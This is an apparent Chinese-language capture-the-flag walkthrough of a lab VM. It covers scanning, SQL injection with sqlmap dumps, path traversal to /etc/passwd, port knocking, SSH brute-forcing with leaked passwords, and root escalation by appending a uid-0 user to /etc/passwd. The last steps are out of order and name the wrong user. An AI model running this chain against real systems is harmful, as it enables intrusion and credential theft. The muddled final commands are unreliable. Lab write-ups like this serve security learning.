arp-l
发现真实IP是192.168.6.97
nmap -sS 192.168.6.97
开启 22和80端口
访问页面
页面有一个搜索框,尝试SQL注入
Mary
Mary' or 1=1#
Mary' or 1=2#
有漏洞,抓个包丢进SQLMAP里跑一波
python2 sqlmap.py -r 1.txt --batch --dbs
python2 sqlmap.py -r 1.txt --batch -D Staff --tables
python2 sqlmap.py -r 1.txt --batch -D Staff -T Users --dump
这里突然提示“文件未找到”
fuzz文件路径
?file=../../../../etc/passwd
这里设计到一个端口敲门
knockd.conf是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,也可以直接用nc敲击端口。
?file=../../../../etc/knockd.conf
nc 192.168.6.97 7469 nc 192.168.6.97 8475 nc 192.168.6.97 9842
用之前得到的账号密码爆破ssh端口
login: janitor password: Ilovepeepee login: joeyt password: Passw0rd login: chandlerb password: UrAG0D!
在janitor下有隐藏文件
又发现了几个密码
再次爆破
login: fredf password: B4-Tru3-001
登录上fredf用户,使用sudo -l
发现
发现一个可执行的root命令, 到 /opt/devstuff 目录看一下脚本 test.py
#!/usr/bin/python import sys if len (sys.argv) != 3 : print ("Usage: python test.py read append") sys.exit (1) else : f = open(sys.argv[1], "r") output = (f.read()) f = open(sys.argv[2], "a") f.write(output) f.close()
是一个写入文件的脚本,生成一个密码用root权限执行脚本写入 /etc/passwd 文件
openssl passwd -1 -salt saul 123456# 生成 passwd 密码的 hash 值 # 在 tmp 创建一个 raj 文件,里面是我们的密码sudo ./test /tmp/raj /etc/passwd echo 'saul:$1$saul$HqxyWB6MwTZbm/LiAFFZX.:0:0::/root:/bin/bash' >> /tmp/raj sudo /opt/devstuff/dist/test/test /tmp/raj /etc/passwd # 写入passwd su salt